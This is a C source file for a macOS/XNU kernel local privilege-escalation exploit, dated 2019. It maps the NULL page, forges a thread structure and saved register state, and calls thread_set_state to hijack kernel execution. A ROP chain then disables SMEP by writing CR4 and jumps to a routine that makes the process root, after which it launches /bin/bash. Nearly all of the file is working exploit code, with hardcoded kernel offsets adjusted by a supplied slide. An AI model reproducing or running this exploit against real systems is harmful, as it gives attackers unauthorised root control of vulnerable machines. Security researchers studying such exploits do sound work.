//
//  exploit.c
//
//  Created by Ilias Morad.
//  Copyright © 2019 Ilias Morad. All rights reserved.
//

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include "definitions.h"
#include "gadgets.h"


#define DEBUG           1


// Used in kernel.s
extern uint64_t current_proc;
extern uint64_t proc_ucred;
extern uint64_t posix_cred_get;
extern uint64_t return_to_user;

extern void escalatePrivs(void);


// For debugging
void hexdump(const void* data, size_t size) {
  char ascii[17];
  size_t i, j;
  ascii[16] = '\0';
  for (i = 0; i < size; ++i) {
    printf("%02X ", ((unsigned char*)data)[i]);
    if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
      ascii[i % 16] = ((unsigned char*)data)[i];
    } else {
      ascii[i % 16] = '.';
    }
    if ((i+1) % 8 == 0 || i+1 == size) {
      printf(" ");
      if ((i+1) % 16 == 0) {
        printf("|  %s \n", ascii);
      } else if (i+1 == size) {
        ascii[(i+1) % 16] = '\0';
        if ((i+1) % 16 <= 8) {
          printf(" ");
        }
        for (j = (i+1) % 16; j < 16; ++j) {
          printf("   ");
        }
        printf("|  %s \n", ascii);
      }
    }
  }
}

void fail() {
    puts("[-] Stopping exploit");
    exit(-1);    
}

int main(int argc, const char *argv[]) {
    kern_return_t err = -1;
    uint64_t kSlide = -1;
    
    // after we return to userland our process state is super messed up
    // in order to be able to get a "stable" environment
    // our userland shellcode will just exec() itself again as root
    if(getuid() == 0) {
        puts("[+] Userland shellcode says hi!");
        printf("[*] Patched uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());
        system("/bin/bash");
        exit(0);
    }

    if(argc < 2) {
        puts("[-] You need to provide the kernel slide.");
        fail();
    } else {
        kSlide = strtol(argv[1], NULL, 0x10);
        printf("[*] Kernel slide: 0x%llx\n", kSlide);
    }

    current_proc            = 0xffffff8000968360 + kSlide;
    proc_ucred              = 0xffffff8000820d30 + kSlide;
    posix_cred_get          = 0xffffff80007ddbe0 + kSlide;
    return_to_user          = 0xffffff8000229680 + kSlide;

    printf("[*] uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());

    vm_address_t pageZero = 0x00;
    err = vm_allocate(mach_task_self(), &pageZero, 0x1000, 0);
    if(err != 0) {
        printf("[-] vm_allocate(pageZero) returned %d\n", err);
        fail();
    }
    memset(0,0,0x1000);
    puts("[*] Mapped NULL Page to catch GS accesses");

    vm_address_t fakeThread = 0;
	  err = vm_allocate(mach_task_self(), &fakeThread, 0x1000, VM_FLAGS_ANYWHERE);
    if(err != 0) {
        printf("[-] vm_allocate(fakeThread) returned %d\n", err);
        fail();
    }
    printf("[*] Fake Thread is at: 0x%x\n", fakeThread);

    uint64_t *fakeStack = (uint64_t *)0x5d000000;
    vm_address_t fakeStackk = 0x5d000000;
	  err = vm_allocate(mach_task_self(), &fakeStackk, 0x1000, 0);
    if(err != 0) {
        printf("[-] vm_allocate(fakeStack) returned %d\n", err);
        fail();
    }
    printf("[*] Fake Stack is at: 0x%x\n", (uint32_t)fakeStack);

	  x86_saved_state32_t state;
    memset(&state, 0xFF, sizeof(x86_saved_state32_t));
	  state.gs = 0x23;

	  *(int64_t*)(pageZero+0x8)           = fakeThread;                // gs:0x8 = pointer to thread structure
	  *(int64_t*)(fakeThread+0x350)       = ROP_PIVOT_STACK + kSlide;  // thread->recover; This will be called the next time the
                                                                     // kernel executes iretq
	  *(int64_t*)(pageZero+0x168)         = 0x400+0x28;                // stackpointer + 0x28    (not used)
    *(int64_t*)(pageZero+0x400)         = 0x4242424242424242;        // [rsp]                  (not used)

    puts("[+] SAVED_STATE32 setup done!");


    // Disable SMEP
    int sp = 0;
    fakeStack[sp] = kSlide + ROP_POP_RAX            ; ++sp;
    fakeStack[sp] = CPU_DISABLE_SMEP                ; ++sp;
    fakeStack[sp] = kSlide + ROP_MOV_CR4_RAX        ; ++sp;
    // SMEP is disabled and we can jump to our userland code part
    fakeStack[sp] = (uint64_t)escalatePrivs         ; ++sp;


    if(DEBUG) {
      char c;
      printf("[DEBUG] escalatePrivs: %p\n[DEBUG] SMEP disable ROP-Chain:\n", &escalatePrivs);
      hexdump((const void *)fakeStackk, 0x20);
      puts("[DEBUG] Waiting...");
      // scanf(" %c", &c);
    }
    
    puts("[+] Here we go...");
    thread_set_state(mach_thread_self(), x86_SAVED_STATE32, (thread_state_t) &state, x86_SAVED_STATE32_COUNT);
    while(1) {}
    return 0;
}
